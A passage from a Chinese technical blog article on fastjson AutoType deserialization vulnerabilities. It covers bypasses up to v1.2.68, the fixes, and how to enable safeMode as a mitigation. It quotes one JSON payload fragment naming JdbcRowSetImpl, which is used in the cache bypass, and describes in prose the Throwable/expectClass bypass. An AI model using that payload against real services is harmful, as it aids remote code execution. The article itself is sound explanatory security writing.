  <p data-lake-id="udbdf23f3" id="udbdf23f3"><br></p>
  <pre lang="java"><code>
{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}
</code></pre>
  <p data-lake-id="ubeeae934" id="ubeeae934"><br></p>
  <p data-lake-id="u1cc005b9" id="u1cc005b9"><span data-lake-id="u43aa9f92" id="u43aa9f92">于是在 v1.2.48中，fastjson修复了这个bug，在MiscCodec中，处理Class类的地方，设置了fastjson cache为false，这样攻击类就不会被缓存了，也就不会被获取到了。</span></p>
  <p data-lake-id="u86e76fc4" id="u86e76fc4"><br></p>
  <p data-lake-id="uc9eb19e9" id="uc9eb19e9"><span data-lake-id="ufd1e33ed" id="ufd1e33ed">在之后的多个版本中，黑客与fastjson又继续一直都在绕过黑名单、添加黑名单中进行周旋。</span></p>
  <p data-lake-id="u9d47f4cb" id="u9d47f4cb"><br></p>
  <p data-lake-id="u97b31fe3" id="u97b31fe3"><span data-lake-id="ua068297f" id="ua068297f">直到后来，黑客在 v1.2.68之前的版本中又发现了一个新的漏洞利用方式。</span></p>
  <p data-lake-id="ufeb88d56" id="ufeb88d56"><br></p>
  <h4 data-lake-id="8261df51" id="8261df51"><span data-lake-id="u5a8b26ed" id="u5a8b26ed">利用异常进行攻击</span></h4>
  <p data-lake-id="u8ec4cc58" id="u8ec4cc58"><br></p>
  <p data-lake-id="u6f015fad" id="u6f015fad"><span data-lake-id="uc83bd77a" id="uc83bd77a">在fastjson中， 如果，</span><a href="/type " data-lake-id="uce91edae" id="uce91edae"><span data-lake-id="u50593d4c" id="u50593d4c">@type </span></a><span data-lake-id="u5b4353de" id="u5b4353de"> 指定的类为 Throwable 的子类，那对应的反序列化处理类就会使用到 ThrowableDeserializer </span></p>
  <p data-lake-id="u60f65cb7" id="u60f65cb7"><br></p>
  <p data-lake-id="u7bfb01e4" id="u7bfb01e4"><span data-lake-id="u8bfe1b66" id="u8bfe1b66">而在ThrowableDeserializer#deserialze的方法中，当有一个字段的key也是 @type时，就会把这个 value 当做类名，然后进行一次 checkAutoType 检测。</span></p>
  <p data-lake-id="u9f8c505b" id="u9f8c505b"><br></p>
  <p data-lake-id="uc8d449a0" id="uc8d449a0"><span data-lake-id="u8353df80" id="u8353df80">并且指定了expectClass为Throwable.class，但是</span><strong><span data-lake-id="ud728b9e8" id="ud728b9e8">在checkAutoType中，有这样一约定，那就是如果指定了expectClass ，那么也会通过校验。</span></strong></p>
  <p data-lake-id="u4c29ef53" id="u4c29ef53"><br></p>
  <p data-lake-id="ub0bdd55a" id="ub0bdd55a"><img src="http://www.hollischuang.com/wp-content/uploads/2020/07/15938495572144.jpg?x-oss-process=image%2Fwatermark%2Ctype_d3F5LW1pY3JvaGVp%2Csize_50%2Ctext_SmF2YSA4IEd1IFA%3D%2Ccolor_FFFFFF%2Cshadow_50%2Ct_80%2Cg_se%2Cx_10%2Cy_10"><span data-lake-id="u957a0919" id="u957a0919">￼</span></p>
  <p data-lake-id="u782d5485" id="u782d5485"><br></p>
  <p data-lake-id="u9dac61fa" id="u9dac61fa"><span data-lake-id="uc68c6e6d" id="uc68c6e6d">因为fastjson在反序列化的时候会尝试执行里面的getter方法，而Exception类中都有一个getMessage方法。</span></p>
  <p data-lake-id="uaf811c6e" id="uaf811c6e"><br></p>
  <p data-lake-id="u125b366b" id="u125b366b"><span data-lake-id="uea84f8fd" id="uea84f8fd">黑客只需要自定义一个异常，并且重写其getMessage就达到了攻击的目的。</span></p>
  <p data-lake-id="ubc8d6b88" id="ubc8d6b88"><br></p>
  <p data-lake-id="u6f5a8866" id="u6f5a8866"><strong><span data-lake-id="u3c995c6e" id="u3c995c6e">这个漏洞就是6月份全网疯传的那个"严重漏洞"，使得很多开发者不得不升级到新版本。</span></strong></p>
  <p data-lake-id="ud4f8d21d" id="ud4f8d21d"><br></p>
  <p data-lake-id="u0801a62a" id="u0801a62a"><span data-lake-id="ubcd15fe8" id="ubcd15fe8">这个漏洞在 v1.2.69中被修复，主要修复方式是对于需要过滤掉的expectClass进行了修改，新增了4个新的类，并且将原来的Class类型的判断修改为hash的判断。</span></p>
  <p data-lake-id="u89c9d93d" id="u89c9d93d"><br></p>
  <p data-lake-id="ub70d9b72" id="ub70d9b72"><span data-lake-id="uc33acead" id="uc33acead">其实，根据fastjson的官方文档介绍，即使不升级到新版，在v1.2.68中也可以规避掉这个问题，那就是使用safeMode</span></p>
  <p data-lake-id="u7653f8a7" id="u7653f8a7"><br></p>
  <h3 data-lake-id="a1f6c149" id="a1f6c149"><span data-lake-id="u68e77a1e" id="u68e77a1e">AutoType 安全模式？</span></h3>
  <p data-lake-id="u0d69a815" id="u0d69a815"><br></p>
  <p data-lake-id="u45f0bfb8" id="u45f0bfb8"><span data-lake-id="u0a3bd07a" id="u0a3bd07a">可以看到，这些漏洞的利用几乎都是围绕AutoType来的，于是，在 v1.2.68版本中，引入了safeMode，配置safeMode后，无论白名单和黑名单，都不支持autoType，可一定程度上缓解反序列化Gadgets类变种攻击。</span></p>
  <p data-lake-id="u56b912df" id="u56b912df"><br></p>
  <p data-lake-id="u575533d2" id="u575533d2"><span data-lake-id="u3d5a805b" id="u3d5a805b">设置了safeMode后，</span><span data-lake-id="uc48a9710" id="uc48a9710">@type </span><span data-lake-id="ud8576afd" id="ud8576afd"> 字段不再生效，即当解析形如{"@type": "com.java.class"}的JSON串时，将不再反序列化出对应的类。 </span></p>
  <p data-lake-id="u93ccecb0" id="u93ccecb0"><br></p>
  <p data-lake-id="u03fb8e45" id="u03fb8e45"><span data-lake-id="u92ccfbfe" id="u92ccfbfe">开启safeMode方式如下：</span></p>
  <p data-lake-id="u10c44f68" id="u10c44f68"><br></p>
  <pre lang="java"><code>
ParserConfig.getGlobalInstance().setSafeMode(true);
</code></pre>
  <p data-lake-id="u09edcae8" id="u09edcae8"><br></p>
  <p data-lake-id="u49aa105a" id="u49aa105a"><span data-lake-id="u679df3e9" id="u679df3e9">如在本文的最开始的代码示例中，使用以上代码开启safeMode模式，执行代码，会得到以下异常：</span></p>
  <p data-lake-id="uaf60273f" id="uaf60273f"><br></p>
  <pre lang="java"><code>
Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)
</code></pre>
  <p data-lake-id="u6edf57a3" id="u6edf57a3"><br></p>
  <p data-lake-id="u638b971c" id="u638b971c"><span data-lake-id="u120ce665" id="u120ce665">但是值得注意的是，使用这个功能，fastjson会直接禁用autoType功能，即在checkAutoType方法中，直接抛出一个异常。</span></p>
  <p data-lake-id="ud3a4a2fa" id="ud3a4a2fa"><br></p>
  <p data-lake-id="u97899abb" id="u97899abb"><img src="http://www.hollischuang.com/wp-content/uploads/2020/07/15938532891003.jpg?x-oss-process=image%2Fwatermark%2Ctype_d3F5LW1pY3JvaGVp%2Csize_47%2Ctext_SmF2YSA4IEd1IFA%3D%2Ccolor_FFFFFF%2Cshadow_50%2Ct_80%2Cg_se%2Cx_10%2Cy_10"><span data-lake-id="u9d26c3e0" id="u9d26c3e0">​</span></p>
  <p data-lake-id="ub3bb99d4" id="ub3bb99d4"><br></p>
  <p data-lake-id="u2fdd331a" id="u2fdd331a"><span data-lake-id="ufb981e28" id="ufb981e28">开发者可以将自己项目中使用的fastjson升级到最新版，并且如果代码中不需要用到AutoType的话，可以考虑使用safeMode，但是要评估下对历史代码的影响。</span></p>
  <p data-lake-id="u68b718e3" id="u68b718e3"><br></p>
  <p data-lake-id="ubb089dca" id="ubb089dca"><span data-lake-id="uee382507" id="uee382507">因为</span><strong><span data-lake-id="ub3e4f920" id="ub3e4f920">fastjson自己定义了序列化工具类，并且使用asm技术避免反射、使用缓存、并且做了很多算法优化等方式，大大提升了序列化及反序列化的效率。</span></strong></p>
  <p data-lake-id="u1956e374" id="u1956e374"><br></p>
  <p data-lake-id="u19e5764d" id="u19e5764d"><span data-lake-id="ufc56aa13" id="ufc56aa13">之前有网友对比过：</span></p>
  <p data-lake-id="ua3e6562c" id="ua3e6562c"><br></p>
  <p data-lake-id="uc7eace50" id="uc7eace50"><img src="http://www.hollischuang.com/wp-content/uploads/2020/07/15938545656293.jpg?x-oss-process=image%2Fwatermark%2Ctype_d3F5LW1pY3JvaGVp%2Csize_46%2Ctext_SmF2YSA4IEd1IFA%3D%2Ccolor_FFFFFF%2Cshadow_50%2Ct_80%2Cg_se%2Cx_10%2Cy_10"><span data-lake-id="uc9f1af5d" id="uc9f1af5d">​</span></p>
  <p data-lake-id="u9bb1ecb7" id="u9bb1ecb7"><br></p>
  <p data-lake-id="uf6bdb10c" id="uf6bdb10c"><span data-lake-id="u21979868" id="u21979868">当然，</span><strong><span data-lake-id="ubaafb093" id="ubaafb093">快的同时也带来了一些安全性问题，这是不可否认的。</span></strong></p>
  <p data-lake-id="ud1960afb" id="ud1960afb"><br></p>
 </body>
</html>